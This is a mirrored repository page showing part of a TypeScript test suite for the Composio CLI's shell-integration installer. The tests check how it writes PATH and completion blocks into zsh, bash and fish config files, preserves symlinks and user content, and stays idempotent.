@devries-cameron20 / composio Mirror · read-only
Fork 0

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

Mirrored from https://github.com/Camo67/composio.git

Synced Nov 21, 04:45 UTC

next
ts 1,474 lines 57.4 KB
Raw
1 import path from 'node:path';
2 import { Writable } from 'node:stream';
3 import { beforeEach, vi } from 'vitest';
4 import { describe, expect, layer } from '@effect/vitest';
5 import { Effect, Exit } from 'effect';
6 import * as FileSystem from 'effect/FileSystem';
7 import { NodeOs } from 'src/services/node-os';
8 import { ShellSetupAbortError } from 'src/commands/install/install.errors';
9 import { installShellIntegration } from 'src/commands/install/install.handler';
10 import type { Shell } from 'src/services/shell-config';
11 import { makeTerminalUI } from 'src/services/terminal-ui';
12 import { cli, TestLive, MockConsole } from 'test/__utils__';
13 import { liveEnvConfigProvider } from 'test/__utils__/live-env-config-provider';
14
15 const makeSink = (isTTY: boolean) => {
16 const chunks: string[] = [];
17 const sink = new Writable({
18 write(chunk, _encoding, callback) {
19 chunks.push(String(chunk));
20 callback();
21 },
22 });
23 return Object.assign(sink, { isTTY, chunks });
24 };
25
26 const capturedStdout = makeSink(true);
27 const capturedStderr = makeSink(false);
28 const capturedStderrUI = makeTerminalUI({
29 stdin: { isTTY: true },
30 stdout: capturedStdout,
31 stderr: capturedStderr,
32 });
33
34 // A PATH that never contains a test's resolved bin dir. The default fallback
35 // bin dir (no COMPOSIO_BIN_DIR, no ~/.local/bin/composio) is `dirname(TEST_EXEC_PATH)`,
36 // which is frequently already on the host's real PATH (a Node/Bun/mise shim
37 // dir) — exactly what tests must not depend on, so this always overrides it.
38 const SAFE_PATH = '/usr/bin:/bin';
39 const TEST_EXEC_PATH = '/usr/local/bin/composio';
40 const expectedRuntimeBinDir = (): string => path.dirname(TEST_EXEC_PATH);
41 const InstallTestLive = (input: Parameters<typeof TestLive>[0] = {}) =>
42 TestLive({
43 baseConfigProvider: liveEnvConfigProvider,
44 execPath: TEST_EXEC_PATH,
45 ...input,
46 });
47 const install = (
48 params: {
49 readonly completions?: boolean;
50 readonly shell?: Shell;
51 } = {}
52 ) =>
53 installShellIntegration({
54 completions: params.completions ?? false,
55 shell: params.shell,
56 });
57
58 // The atomic-write tmp name embeds the pid, so litter checks scan the target's
59 // directory for any `.composio-tmp` remnant instead of probing one fixed name.
60 const expectNoTmpLitter = (fs: FileSystem.FileSystem, targetPath: string) =>
61 Effect.gen(function* () {
62 const entries = yield* fs.readDirectory(path.dirname(targetPath));
63 expect(entries.filter(name => name.includes('.composio-tmp'))).toEqual([]);
64 });
65
66 // NOTE: `@effect/vitest`'s `layer(...)` builds one shared TestLive instance
67 // (home dir, MockConsole buffer, etc.) for every `it.effect` nested inside a
68 // single call. Sharing is only safe when a later test doesn't read state a
69 // prior test mutated (MockConsole output, rc files under the shared home
70 // dir) — so each independent scenario below gets its own `layer(...)` call,
71 // mirroring the file's existing single-test blocks. The two-test blocks that
72 // remain (zsh's symlink test, the stderr-capture pair) are safe because the
73 // second test never reads `MockConsole` and resets any file state it cares
74 // about itself.
75
76 describe('CLI: composio install', () => {
77 beforeEach(() => {
78 // vitest.config.ts sets `unstubEnvs: true`, so every `vi.stubEnv` call
79 // below is automatically reverted after each test — no manual save/restore.
80 vi.stubEnv('PATH', SAFE_PATH);
81 vi.stubEnv('COMPOSIO_BIN_DIR', '');
82 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', undefined);
83 capturedStdout.chunks.length = 0;
84 capturedStderr.chunks.length = 0;
85 });
86
87 describe('[When] shell is zsh', () => {
88 layer(InstallTestLive())(it => {
89 it.effect('[Then] creates .zshrc with PATH only by default', () =>
90 Effect.gen(function* () {
91 const os = yield* NodeOs;
92 vi.stubEnv('SHELL', '/bin/zsh');
93 // A direct invocation (no installer origin) keeps the restart hint.
94 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', '');
95 const expectedBinDir = expectedRuntimeBinDir();
96
97 yield* install();
98
99 const fs = yield* FileSystem.FileSystem;
100 const rcPath = path.join(os.homedir, '.zshrc');
101 const contents = yield* fs.readFileString(rcPath);
102
103 expect(contents).toContain('# Composio CLI');
104 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
105 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
106 expect(contents).not.toContain('# Composio CLI completions');
107
108 const lines = yield* MockConsole.getLines();
109 const output = lines.join('\n');
110 expect(output).toContain('Detected shell: zsh');
111 expect(output).toContain('PATH: will add');
112 expect(output).toContain('Completions: skipped for zsh');
113 expect(output).toContain('Updated');
114 expect(output).toContain('Restart your shell to apply changes');
115 expect(output).toContain('source ~/.zshrc');
116 })
117 );
118
119 it.effect('[Then] preserves a symlinked .zshrc', () =>
120 Effect.gen(function* () {
121 const os = yield* NodeOs;
122 const fs = yield* FileSystem.FileSystem;
123 vi.stubEnv('SHELL', '/bin/zsh');
124
125 const rcPath = path.join(os.homedir, '.zshrc');
126 const managedPath = path.join(os.homedir, '.managed-zshrc');
127 const linkTarget = path.basename(managedPath);
128 yield* fs.remove(rcPath, { force: true });
129 yield* fs.writeFileString(managedPath, '# managed shell config\n');
130 yield* fs.symlink(linkTarget, rcPath);
131
132 yield* install();
133
134 expect(yield* fs.readLink(rcPath)).toBe(linkTarget);
135 expect(yield* fs.readFileString(managedPath)).toContain('# Composio CLI');
136 yield* expectNoTmpLitter(fs, rcPath);
137 })
138 );
139 });
140 });
141
142 describe('[When] shell is bash', () => {
143 layer(InstallTestLive())(it => {
144 it.effect('[Then] creates .bashrc with PATH only by default', () =>
145 Effect.gen(function* () {
146 const os = yield* NodeOs;
147 vi.stubEnv('SHELL', '/bin/bash');
148 const expectedBinDir = expectedRuntimeBinDir();
149
150 yield* install();
151
152 const fs = yield* FileSystem.FileSystem;
153 const rcPath = path.join(os.homedir, '.bashrc');
154 const contents = yield* fs.readFileString(rcPath);
155
156 expect(contents).toContain('# Composio CLI');
157 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
158 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
159 expect(contents).not.toContain('# Composio CLI completions');
160 })
161 );
162 });
163 });
164
165 describe('[When] bash has neither .bash_profile nor .bash_login', () => {
166 layer(InstallTestLive())(it => {
167 // A login bash (macOS Terminal.app's default) never reads .bashrc, so
168 // the PATH block only reaches it through a created .bash_profile.
169 it.effect('[Then] .bash_profile is created alongside .bashrc', () =>
170 Effect.gen(function* () {
171 const os = yield* NodeOs;
172 vi.stubEnv('SHELL', '/bin/bash');
173 const expectedBinDir = expectedRuntimeBinDir();
174
175 yield* install();
176
177 const fs = yield* FileSystem.FileSystem;
178 const bashProfilePath = path.join(os.homedir, '.bash_profile');
179 expect(yield* fs.exists(path.join(os.homedir, '.bashrc'))).toBe(true);
180 expect(yield* fs.exists(bashProfilePath)).toBe(true);
181 expect(yield* fs.exists(path.join(os.homedir, '.bash_login'))).toBe(false);
182
183 const bashProfileContents = yield* fs.readFileString(bashProfilePath);
184 expect(bashProfileContents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
185 // No ~/.profile existed, so nothing had to be sourced back.
186 expect(bashProfileContents).not.toContain('.profile');
187 })
188 );
189 });
190 });
191
192 describe('[When] bash has no login file but an existing ~/.profile', () => {
193 layer(InstallTestLive())(it => {
194 it.effect('[Then] the created .bash_profile sources ~/.profile, which stays untouched', () =>
195 Effect.gen(function* () {
196 const os = yield* NodeOs;
197 const fs = yield* FileSystem.FileSystem;
198 vi.stubEnv('SHELL', '/bin/bash');
199 const expectedBinDir = expectedRuntimeBinDir();
200
201 const profilePath = path.join(os.homedir, '.profile');
202 yield* fs.writeFileString(profilePath, '# distro profile\n');
203
204 yield* install();
205
206 const bashProfileContents = yield* fs.readFileString(
207 path.join(os.homedir, '.bash_profile')
208 );
209 expect(bashProfileContents).toContain('. "$HOME/.profile"');
210 expect(bashProfileContents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
211 // The passthrough must precede the managed block it leads into.
212 expect(bashProfileContents.indexOf('. "$HOME/.profile"')).toBeLessThan(
213 bashProfileContents.indexOf('# Composio CLI')
214 );
215 expect(yield* fs.readFileString(profilePath)).toBe('# distro profile\n');
216 })
217 );
218 });
219 });
220
221 describe('[When] bash has an existing .bash_profile', () => {
222 layer(InstallTestLive())(it => {
223 it.effect(
224 '[Then] the PATH block also lands in .bash_profile, and the restart hint mentions it',
225 () =>
226 Effect.gen(function* () {
227 const os = yield* NodeOs;
228 const fs = yield* FileSystem.FileSystem;
229 vi.stubEnv('SHELL', '/bin/bash');
230
231 const bashProfilePath = path.join(os.homedir, '.bash_profile');
232 yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
233
234 yield* install();
235
236 const bashrcContents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
237 const bashProfileContents = yield* fs.readFileString(bashProfilePath);
238 expect(bashrcContents).toContain('# Composio CLI');
239 expect(bashProfileContents).toContain('# Composio CLI');
240
241 const lines = yield* MockConsole.getLines();
242 const output = lines.join('\n');
243 expect(output).toContain('source ~/.bashrc');
244 expect(output).toContain('~/.bash_profile');
245 expect(output).toContain('login shell');
246 expect(output).not.toContain('exec $SHELL');
247 })
248 );
249 });
250 });
251
252 describe('[When] bash updates a private .bash_profile', () => {
253 layer(InstallTestLive())(it => {
254 it.effect('[Then] preserves its existing file mode', () =>
255 Effect.gen(function* () {
256 const os = yield* NodeOs;
257 const fs = yield* FileSystem.FileSystem;
258 vi.stubEnv('SHELL', '/bin/bash');
259
260 const bashProfilePath = path.join(os.homedir, '.bash_profile');
261 yield* fs.writeFileString(bashProfilePath, '# private login config\n');
262 yield* fs.chmod(bashProfilePath, 0o600);
263
264 yield* install();
265
266 const info = yield* fs.stat(bashProfilePath);
267 expect(info.mode & 0o777).toBe(0o600);
268 yield* expectNoTmpLitter(fs, bashProfilePath);
269 })
270 );
271 });
272 });
273
274 describe('[When] bash has only .bash_login (no .bash_profile)', () => {
275 layer(InstallTestLive())(it => {
276 it.effect('[Then] the PATH block also lands in .bash_login', () =>
277 Effect.gen(function* () {
278 const os = yield* NodeOs;
279 const fs = yield* FileSystem.FileSystem;
280 vi.stubEnv('SHELL', '/bin/bash');
281
282 const bashLoginPath = path.join(os.homedir, '.bash_login');
283 yield* fs.writeFileString(bashLoginPath, '# existing login config\n');
284
285 yield* install();
286
287 const bashrcContents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
288 const bashLoginContents = yield* fs.readFileString(bashLoginPath);
289 expect(bashrcContents).toContain('# Composio CLI');
290 expect(bashLoginContents).toContain('# Composio CLI');
291
292 const lines = yield* MockConsole.getLines();
293 const output = lines.join('\n');
294 expect(output).toContain('source ~/.bashrc');
295 expect(output).toContain('~/.bash_login');
296 expect(output).toContain('login shell');
297 })
298 );
299 });
300 });
301
302 describe('[When] bash has both .bash_profile and .bash_login', () => {
303 layer(InstallTestLive())(it => {
304 it.effect('[Then] only .bash_profile receives the login PATH block', () =>
305 Effect.gen(function* () {
306 const os = yield* NodeOs;
307 const fs = yield* FileSystem.FileSystem;
308 vi.stubEnv('SHELL', '/bin/bash');
309
310 const bashProfilePath = path.join(os.homedir, '.bash_profile');
311 const bashLoginPath = path.join(os.homedir, '.bash_login');
312 yield* fs.writeFileString(bashProfilePath, '# existing profile\n');
313 yield* fs.writeFileString(bashLoginPath, '# existing login\n');
314
315 yield* install();
316
317 const bashProfileContents = yield* fs.readFileString(bashProfilePath);
318 const bashLoginContents = yield* fs.readFileString(bashLoginPath);
319 expect(bashProfileContents).toContain('# Composio CLI');
320 expect(bashLoginContents).not.toContain('# Composio CLI');
321 })
322 );
323 });
324 });
325
326 describe('[When] .bash_profile is symlinked to the same file as .bashrc', () => {
327 layer(InstallTestLive())(it => {
328 it.effect('[Then] the PATH block is written exactly once, not once per alias', () =>
329 Effect.gen(function* () {
330 const os = yield* NodeOs;
331 const fs = yield* FileSystem.FileSystem;
332 vi.stubEnv('SHELL', '/bin/bash');
333
334 const bashrcPath = path.join(os.homedir, '.bashrc');
335 const bashProfilePath = path.join(os.homedir, '.bash_profile');
336 const managedPath = path.join(os.homedir, '.managed-bashrc');
337 yield* fs.remove(bashrcPath, { force: true });
338 yield* fs.writeFileString(managedPath, '# managed shell config\n');
339 yield* fs.symlink(managedPath, bashrcPath);
340 yield* fs.symlink(managedPath, bashProfilePath);
341
342 yield* install();
343
344 const contents = yield* fs.readFileString(managedPath);
345 const pathMarkerCount = contents.match(/^# Composio CLI$/gm)?.length ?? 0;
346 expect(pathMarkerCount).toBe(1);
347 })
348 );
349 });
350 });
351
352 describe('[When] shell is fish', () => {
353 layer(InstallTestLive())(it => {
354 it.effect('[Then] creates config.fish with PATH only by default', () =>
355 Effect.gen(function* () {
356 const os = yield* NodeOs;
357 vi.stubEnv('SHELL', '/usr/bin/fish');
358
359 yield* install();
360
361 const fs = yield* FileSystem.FileSystem;
362 const rcPath = path.join(os.homedir, '.config', 'fish', 'config.fish');
363 const contents = yield* fs.readFileString(rcPath);
364
365 expect(contents).toContain('# Composio CLI');
366 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
367 expect(contents).toContain('set --export PATH');
368 expect(contents).not.toContain('# Composio CLI completions');
369 })
370 );
371 });
372 });
373
374 describe('[When] --completions is passed', () => {
375 layer(InstallTestLive())(it => {
376 it.effect('[Then] writes PATH block and installs completions', () =>
377 Effect.gen(function* () {
378 const os = yield* NodeOs;
379 vi.stubEnv('SHELL', '/bin/bash');
380
381 yield* install({ completions: true });
382
383 const fs = yield* FileSystem.FileSystem;
384 const rcPath = path.join(os.homedir, '.bashrc');
385 const contents = yield* fs.readFileString(rcPath);
386
387 expect(contents).toContain('# Composio CLI');
388 expect(contents).toContain('# Composio CLI completions');
389
390 const lines = yield* MockConsole.getLines();
391 const output = lines.join('\n');
392 expect(output).toContain('Completions: will install shell completions');
393 })
394 );
395 });
396 });
397
398 describe('[When] fish shell installs completions', () => {
399 layer(InstallTestLive())(it => {
400 it.effect(
401 '[Then] keeps PATH setup in config.fish and writes completions to composio.fish',
402 () =>
403 Effect.gen(function* () {
404 const os = yield* NodeOs;
405 vi.stubEnv('SHELL', '/usr/bin/fish');
406
407 yield* install({ completions: true });
408
409 const fs = yield* FileSystem.FileSystem;
410 const configPath = path.join(os.homedir, '.config', 'fish', 'config.fish');
411 const completionPath = path.join(
412 os.homedir,
413 '.config',
414 'fish',
415 'completions',
416 'composio.fish'
417 );
418 const configContents = yield* fs.readFileString(configPath);
419 const completionContents = yield* fs.readFileString(completionPath);
420
421 expect(configContents).toContain('# Composio CLI');
422 expect(configContents).toContain('set --export PATH');
423 expect(configContents).not.toContain('# Composio CLI completions');
424
425 expect(completionContents).toContain('# Composio CLI completions');
426
427 const lines = yield* MockConsole.getLines();
428 const output = lines.join('\n');
429 expect(output).toContain('Completions: will install fish completions to');
430 expect(output).toContain('Updated ~/.config/fish/config.fish');
431 expect(output).toContain('Updated ~/.config/fish/completions/composio.fish');
432 expect(output).toContain('exec fish');
433 })
434 );
435 });
436 });
437
438 describe('[When] fish config and completions are symlinked to the same file', () => {
439 layer(InstallTestLive())(it => {
440 it.effect('[Then] keeps both PATH and completions blocks', () =>
441 Effect.gen(function* () {
442 const os = yield* NodeOs;
443 const fs = yield* FileSystem.FileSystem;
444 vi.stubEnv('SHELL', '/usr/bin/fish');
445
446 const configPath = path.join(os.homedir, '.config', 'fish', 'config.fish');
447 const completionPath = path.join(
448 os.homedir,
449 '.config',
450 'fish',
451 'completions',
452 'composio.fish'
453 );
454 const managedPath = path.join(os.homedir, '.managed-fish-config');
455 yield* fs.makeDirectory(path.dirname(completionPath), { recursive: true });
456 yield* fs.remove(configPath, { force: true });
457 yield* fs.writeFileString(managedPath, '# managed fish config\n');
458 yield* fs.symlink(managedPath, configPath);
459 yield* fs.symlink(managedPath, completionPath);
460
461 yield* install({ completions: true });
462
463 const contents = yield* fs.readFileString(managedPath);
464 const pathMarkerCount = contents.match(/^# Composio CLI$/gm)?.length ?? 0;
465 const completionsMarkerCount =
466 contents.match(/^# Composio CLI completions$/gm)?.length ?? 0;
467 expect(pathMarkerCount).toBe(1);
468 expect(completionsMarkerCount).toBe(1);
469 })
470 );
471 });
472 });
473
474 describe('[When] fish shell installs completions twice', () => {
475 layer(InstallTestLive())(it => {
476 it.effect('[Then] keeps config.fish and composio.fish idempotent', () =>
477 Effect.gen(function* () {
478 const os = yield* NodeOs;
479 vi.stubEnv('SHELL', '/usr/bin/fish');
480
481 yield* install({ completions: true });
482 yield* install({ completions: true });
483
484 const fs = yield* FileSystem.FileSystem;
485 const configPath = path.join(os.homedir, '.config', 'fish', 'config.fish');
486 const completionPath = path.join(
487 os.homedir,
488 '.config',
489 'fish',
490 'completions',
491 'composio.fish'
492 );
493 const configContents = yield* fs.readFileString(configPath);
494 const completionContents = yield* fs.readFileString(completionPath);
495
496 const pathMarkerCount = configContents.match(/^# Composio CLI$/gm)?.length ?? 0;
497 const configCompletionsCount =
498 configContents.match(/^# Composio CLI completions$/gm)?.length ?? 0;
499 const fishCompletionsCount =
500 completionContents.match(/^# Composio CLI completions$/gm)?.length ?? 0;
501
502 expect(pathMarkerCount).toBe(1);
503 expect(configCompletionsCount).toBe(0);
504 expect(fishCompletionsCount).toBe(1);
505 })
506 );
507 });
508 });
509
510 describe('[When] --no-completions is passed', () => {
511 layer(InstallTestLive())(it => {
512 it.effect('[Then] writes PATH block but skips completions', () =>
513 Effect.gen(function* () {
514 const os = yield* NodeOs;
515 vi.stubEnv('SHELL', '/bin/zsh');
516
517 yield* install();
518
519 const fs = yield* FileSystem.FileSystem;
520 const rcPath = path.join(os.homedir, '.zshrc');
521 const contents = yield* fs.readFileString(rcPath);
522
523 expect(contents).toContain('# Composio CLI');
524 expect(contents).not.toContain('# Composio CLI completions');
525
526 const lines = yield* MockConsole.getLines();
527 const output = lines.join('\n');
528 expect(output).toContain('Completions: skipped for zsh');
529 })
530 );
531 });
532 });
533
534 describe('[When] install is run twice (idempotency)', () => {
535 layer(InstallTestLive())(it => {
536 it.effect('[Then] does not duplicate entries', () =>
537 Effect.gen(function* () {
538 const os = yield* NodeOs;
539 vi.stubEnv('SHELL', '/bin/bash');
540
541 // Run install twice
542 yield* install({ completions: true });
543 yield* install({ completions: true });
544
545 const fs = yield* FileSystem.FileSystem;
546 const rcPath = path.join(os.homedir, '.bashrc');
547 const contents = yield* fs.readFileString(rcPath);
548
549 // Count occurrences of each marker — should be exactly 1
550 // Use regex with word boundary to avoid "# Composio CLI completions" matching "# Composio CLI"
551 const pathMarkerCount = contents.match(/^# Composio CLI$/gm)?.length ?? 0;
552 expect(pathMarkerCount).toBe(1);
553
554 const completionsCount = contents.match(/^# Composio CLI completions$/gm)?.length ?? 0;
555 expect(completionsCount).toBe(1);
556 })
557 );
558 });
559 });
560
561 describe('[When] .zshrc already has a managed block recording the current bin dir', () => {
562 layer(InstallTestLive())(it => {
563 it.effect('[Then] reports already configured and leaves the file byte-identical', () =>
564 Effect.gen(function* () {
565 const os = yield* NodeOs;
566 const fs = yield* FileSystem.FileSystem;
567 vi.stubEnv('SHELL', '/bin/zsh');
568 const expectedBinDir = expectedRuntimeBinDir();
569
570 // Pre-populate .zshrc with a managed block that is already current.
571 const rcPath = path.join(os.homedir, '.zshrc');
572 const original = `# existing config\n# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n# Composio CLI completions\n_composio() {}\n`;
573 yield* fs.writeFileString(rcPath, original);
574
575 yield* install({ completions: true });
576
577 const lines = yield* MockConsole.getLines();
578 const output = lines.join('\n');
579 expect(output).toContain('PATH: already configured');
580 expect(output).toContain('Completions: skipped for zsh');
581 expect(output).toContain('Shell integration already configured');
582 expect(output).not.toContain('Updated');
583
584 // File must not be rewritten at all.
585 const contents = yield* fs.readFileString(rcPath);
586 expect(contents).toBe(original);
587 })
588 );
589 });
590 });
591
592 describe('[When] the managed PATH block records a stale bin dir', () => {
593 layer(InstallTestLive())(it => {
594 it.effect('[Then] replaces only the managed block and keeps unmanaged content', () =>
595 Effect.gen(function* () {
596 const os = yield* NodeOs;
597 const fs = yield* FileSystem.FileSystem;
598 vi.stubEnv('SHELL', '/bin/zsh');
599 const expectedBinDir = expectedRuntimeBinDir();
600
601 const rcPath = path.join(os.homedir, '.zshrc');
602 yield* fs.writeFileString(
603 rcPath,
604 '# user prologue\n# Composio CLI\nexport PATH="/stale/bin:$PATH"\n# user epilogue\nalias ll="ls -la"\n'
605 );
606
607 yield* install();
608
609 const contents = yield* fs.readFileString(rcPath);
610 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
611 expect(contents).not.toContain('/stale/bin');
612 expect(contents).toContain('# user prologue');
613 expect(contents).toContain('# user epilogue');
614 expect(contents).toContain('alias ll="ls -la"');
615 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
616
617 const output = (yield* MockConsole.getLines()).join('\n');
618 expect(output).toContain('Updated ~/.zshrc');
619 })
620 );
621 });
622 });
623
624 describe('[When] duplicate managed PATH blocks exist in one file', () => {
625 layer(InstallTestLive())(it => {
626 it.effect('[Then] they collapse into a single current block', () =>
627 Effect.gen(function* () {
628 const os = yield* NodeOs;
629 const fs = yield* FileSystem.FileSystem;
630 vi.stubEnv('SHELL', '/bin/zsh');
631 const expectedBinDir = expectedRuntimeBinDir();
632
633 const rcPath = path.join(os.homedir, '.zshrc');
634 yield* fs.writeFileString(
635 rcPath,
636 `# Composio CLI\nexport PATH="/stale/bin:$PATH"\n# unmanaged line\n# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n`
637 );
638
639 yield* install();
640
641 const contents = yield* fs.readFileString(rcPath);
642 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
643 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
644 expect(contents).not.toContain('/stale/bin');
645 expect(contents).toContain('# unmanaged line');
646 })
647 );
648 });
649 });
650
651 describe('[When] a user comment sits between the managed marker and the stale export', () => {
652 layer(InstallTestLive())(it => {
653 it.effect('[Then] the comment survives and the fresh assignment wins PATH precedence', () =>
654 Effect.gen(function* () {
655 const os = yield* NodeOs;
656 const fs = yield* FileSystem.FileSystem;
657 vi.stubEnv('SHELL', '/bin/zsh');
658 const expectedBinDir = expectedRuntimeBinDir();
659
660 const rcPath = path.join(os.homedir, '.zshrc');
661 yield* fs.writeFileString(
662 rcPath,
663 '# Composio CLI\n# added by my dotfiles\nexport PATH="/stale/bin:$PATH"\n# user epilogue\n'
664 );
665
666 yield* install();
667
668 const contents = yield* fs.readFileString(rcPath);
669 // No user content may ever be deleted.
670 expect(contents).toContain('# added by my dotfiles');
671 expect(contents).toContain('# user epilogue');
672 // Exactly one marker, directly followed by the current assignment.
673 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
674 const newAssignment = `export PATH="${expectedBinDir}:$PATH"`;
675 const lines = contents.split('\n');
676 const markerIndex = lines.findIndex(line => line.trim() === '# Composio CLI');
677 expect(lines[markerIndex + 1]).toBe(newAssignment);
678 // Prepend-style exports make the last-sourced assignment win, so the
679 // fresh assignment must be removed-or-after any surviving stale one.
680 const staleIndex = contents.indexOf('export PATH="/stale/bin:$PATH"');
681 expect(contents.indexOf(newAssignment)).toBeGreaterThan(staleIndex);
682 })
683 );
684 });
685 });
686
687 describe('[When] a blank line sits between the managed marker and the stale export', () => {
688 layer(InstallTestLive())(it => {
689 it.effect('[Then] nothing but the marker is removed and the fresh assignment wins', () =>
690 Effect.gen(function* () {
691 const os = yield* NodeOs;
692 const fs = yield* FileSystem.FileSystem;
693 vi.stubEnv('SHELL', '/bin/zsh');
694 const expectedBinDir = expectedRuntimeBinDir();
695
696 const rcPath = path.join(os.homedir, '.zshrc');
697 yield* fs.writeFileString(
698 rcPath,
699 '# user prologue\n# Composio CLI\n\nexport PATH="/stale/bin:$PATH"\n'
700 );
701
702 yield* install();
703
704 const contents = yield* fs.readFileString(rcPath);
705 expect(contents).toContain('# user prologue');
706 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
707 const newAssignment = `export PATH="${expectedBinDir}:$PATH"`;
708 const lines = contents.split('\n');
709 const markerIndex = lines.findIndex(line => line.trim() === '# Composio CLI');
710 expect(lines[markerIndex + 1]).toBe(newAssignment);
711 const staleIndex = contents.indexOf('export PATH="/stale/bin:$PATH"');
712 expect(contents.indexOf(newAssignment)).toBeGreaterThan(staleIndex);
713 })
714 );
715 });
716 });
717
718 describe('[When] an rc file carries the legacy install.sh managed block', () => {
719 layer(InstallTestLive())(it => {
720 it.effect('[Then] the legacy pair is migrated, not left behind or duplicated', () =>
721 Effect.gen(function* () {
722 const os = yield* NodeOs;
723 const fs = yield* FileSystem.FileSystem;
724 vi.stubEnv('SHELL', '/bin/zsh');
725 const expectedBinDir = expectedRuntimeBinDir();
726
727 const rcPath = path.join(os.homedir, '.zshrc');
728 yield* fs.writeFileString(
729 rcPath,
730 [
731 '# user config above',
732 '# Composio CLI',
733 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
734 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
735 '# user config below',
736 '',
737 ].join('\n')
738 );
739
740 yield* install();
741
742 const contents = yield* fs.readFileString(rcPath);
743 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
744 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
745 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
746 // User content keeps its own relative order; the refreshed block is
747 // appended after it, exactly as install.sh's awk rewrite does.
748 expect(contents.indexOf('# user config above')).toBeLessThan(
749 contents.indexOf('# user config below')
750 );
751 expect(contents.indexOf('# user config below')).toBeLessThan(
752 contents.indexOf('# Composio CLI')
753 );
754 })
755 );
756 });
757 });
758
759 describe('[When] a legacy block sits above an existing completions block', () => {
760 layer(InstallTestLive())(it => {
761 it.effect('[Then] migrating the PATH block leaves the completions block intact', () =>
762 Effect.gen(function* () {
763 const os = yield* NodeOs;
764 const fs = yield* FileSystem.FileSystem;
765 vi.stubEnv('SHELL', '/bin/bash');
766 const expectedBinDir = expectedRuntimeBinDir();
767
768 const rcPath = path.join(os.homedir, '.bashrc');
769 yield* fs.writeFileString(
770 rcPath,
771 [
772 '# Composio CLI',
773 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
774 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
775 '',
776 '# Composio CLI completions',
777 '_composio_completions() { :; }',
778 '',
779 ].join('\n')
780 );
781
782 yield* install();
783
784 const contents = yield* fs.readFileString(rcPath);
785 expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
786 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
787 expect(contents).toContain('_composio_completions() { :; }');
788 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
789 expect(contents.match(/^# Composio CLI completions$/gm)?.length ?? 0).toBe(1);
790 })
791 );
792 });
793 });
794
795 describe('[When] a migrated rc file is installed into a second time', () => {
796 layer(InstallTestLive())(it => {
797 it.effect('[Then] the second run is a no-op', () =>
798 Effect.gen(function* () {
799 const os = yield* NodeOs;
800 const fs = yield* FileSystem.FileSystem;
801 vi.stubEnv('SHELL', '/bin/zsh');
802
803 const rcPath = path.join(os.homedir, '.zshrc');
804 yield* fs.writeFileString(
805 rcPath,
806 '# Composio CLI\nexport COMPOSIO_INSTALL_DIR="$HOME/.composio"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"\n'
807 );
808
809 yield* install();
810 const afterFirst = yield* fs.readFileString(rcPath);
811 yield* install();
812 const afterSecond = yield* fs.readFileString(rcPath);
813
814 expect(afterSecond).toBe(afterFirst);
815 expect(afterSecond.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
816 })
817 );
818 });
819 });
820
821 describe('[When] .bashrc and .bash_profile alias one physical file with a stale managed block', () => {
822 layer(InstallTestLive())(it => {
823 it.effect('[Then] the physical file ends with exactly one current block', () =>
824 Effect.gen(function* () {
825 const os = yield* NodeOs;
826 const fs = yield* FileSystem.FileSystem;
827 vi.stubEnv('SHELL', '/bin/bash');
828 const expectedBinDir = expectedRuntimeBinDir();
829
830 const bashrcPath = path.join(os.homedir, '.bashrc');
831 const bashProfilePath = path.join(os.homedir, '.bash_profile');
832 const managedPath = path.join(os.homedir, '.managed-bashrc');
833 yield* fs.remove(bashrcPath, { force: true });
834 yield* fs.writeFileString(
835 managedPath,
836 '# managed prologue\n# Composio CLI\nexport PATH="/stale/bin:$PATH"\n'
837 );
838 yield* fs.symlink(managedPath, bashrcPath);
839 yield* fs.symlink(managedPath, bashProfilePath);
840
841 yield* install();
842
843 const contents = yield* fs.readFileString(managedPath);
844 expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
845 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
846 expect(contents).not.toContain('/stale/bin');
847 expect(contents).toContain('# managed prologue');
848
849 // Both aliases must survive as symlinks to the same physical file.
850 expect(yield* fs.readLink(bashrcPath)).toBe(managedPath);
851 expect(yield* fs.readLink(bashProfilePath)).toBe(managedPath);
852 yield* expectNoTmpLitter(fs, managedPath);
853 })
854 );
855 });
856 });
857
858 describe('[When] the atomic write cannot replace the target file', () => {
859 layer(InstallTestLive())(it => {
860 it.effect('[Then] the error propagates and no .composio-tmp file is left behind', () =>
861 Effect.gen(function* () {
862 const os = yield* NodeOs;
863 const fs = yield* FileSystem.FileSystem;
864 vi.stubEnv('SHELL', '/bin/zsh');
865
866 // A directory at the rc path makes the final rename(file, dir) fail
867 // after the temp file was already written.
